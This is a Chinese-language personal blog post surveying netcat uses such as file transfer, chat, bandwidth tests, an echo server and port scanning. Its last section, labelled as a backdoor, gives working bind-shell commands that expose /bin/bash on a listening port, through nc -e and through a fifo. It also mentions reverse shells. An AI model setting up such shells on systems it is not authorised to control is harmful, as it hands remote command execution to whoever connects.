盘点netcat的高级用法

Published On May 22, 2020

category tool | tags netcat


nc即netcat,被誉为网络工具中的瑞士军刀,是我最喜欢的命令行工具之一。 它有很多用法,这篇文章将一探究竟。

nc在服务端监听某个端口,在客户端连接到对应IP的对应端口,就可以建立一个TCP连接。 利用这个全双工的通信窗口,我们可以做很多有趣的事。

netcat有两种实现,传统的GNU netcat(比如CentOS nmap包里的Ncat)和openBSD nc(比如MacOS 自带的nc)。它们的参数不完全一致,比如BSD nc不能同时用-p和-l,这一点容易给新手造成困扰。

1. 传输文件 (file transfer)

server

nc -l -p 1111 < movie.mp4

MacOS上的BSD实现不要-p

client

nc 127.0.0.1 1111 > movie.mp4

当传输结束的时候,这种方式偶尔出现服务端命令不会中断或者接收到的文件大小为0,可以改成server端接收。

显示速度

当传输大文件的时候,显示传输速度很有帮助。 pv可以显示数据传输的速率,它会将标准输入送到标准输出。

客户端使用pv可以显示下载速度、已接收的文件大小等信息。

nc 127.0.0.1 1111 | pv > movie.mp4

服务端使用pv还可以显示进度的百分比。

pv movie.mp4 | nc -l -p 1111

文件夹

对于包含大量小文件的文件夹,可以在发送之前压缩,接收后解压。

服务端压缩当前目录的所有文件

tar -cf - . | nc -l -p 1111

客户端解压到当前文件夹

nc 23.100.90.119 1111 | tar -xf -

2. 一对一聊天 (chat)

30年以前堪比微信。 现在多用来调试http接口。

server

nc -l -p 1111

client

nc 23.100.90.119 1111
我通常会加上-v来测试能否连接到服务器的某个端口。

3. 测试带宽 (bandwidth)

我通常用这两组命令来测试我到VM的网速。需要在客户端或服务端安装PV。

下载速度 (download speed)

server

pv /dev/zero | nc -l -p 1111

client

nc 23.100.90.119 1111

上传速度 (upload speed)

server

nc -l -p 80 | pv

client

nc 23.100.90.119 80 < /dev/zero

4. Echo server

在某些测试中echo server很有用。

There are 2 ways of setting up an echo server with netcat. This works for both BSD nc and Ncat

rm /tmp/nc
tail -f /tmp/nc | nc -kv -l 1111  > /tmp/nc
or
mkfifo fifo
cat fifo | nc -kv -l 1111  > fifo

  • -k: Forces nc to stay listening for another connection after its current connection is completed. It is an error to use this option without the -l option. GNU's netcat doesn't have -k option. Fortunately, ncat command from nmap package supports this option.

5. 端口扫描 (port scan)

BSD nc

nc -z -v -n -G 1 23.100.90.119 1-1000

  • -z: 建立连接后立刻断开
  • -n: 不对ip和端口进行反解析,反解析是指比如80端口会显示为tcp/http
  • -v: 打开详细输出,这样没有开放的端口会显示连接失败 failed: Operation timed out
  • -G: 建立连接的等待时间

CentOS上的Ncat不再支持-z 可能是因为有nmap

nmap 23.100.90.119 -p 1-1000

6. 开一个shell (backdoor)

黑客必备技能。在服务端开一个shell,执行客户端发送的cmd并返回结果。

server

1.方法一:使用-e

nc -v -kl -p 1111 -e /bin/bash

  • -e: Executes the given command
  • -k: Accept multiple connections in listen mode (客户端端口连接后服务端不会退出)

2.方法二:使用fifo文件可以获得更好的交互式体验

mkfifo /tmp/tmp_fifo
cat /tmp/tmp_fifo | /bin/bash -i 2>&1 | nc -l -p 1111 > /tmp/tmp_fifo

client

nc -v 23.100.90.119 1111

上面的例子是正向shell,反向shell则是在在客户端启动bash。

这篇文章很短,有反我以前的风格,因为这个工具是在太有用了,我希望早点分享出来。

2020快过去一半了,才迎来我今年的开篇之作。

参考


qq email facebook github
© 2020 - Xurui Yan. All rights reserved
Built using pelican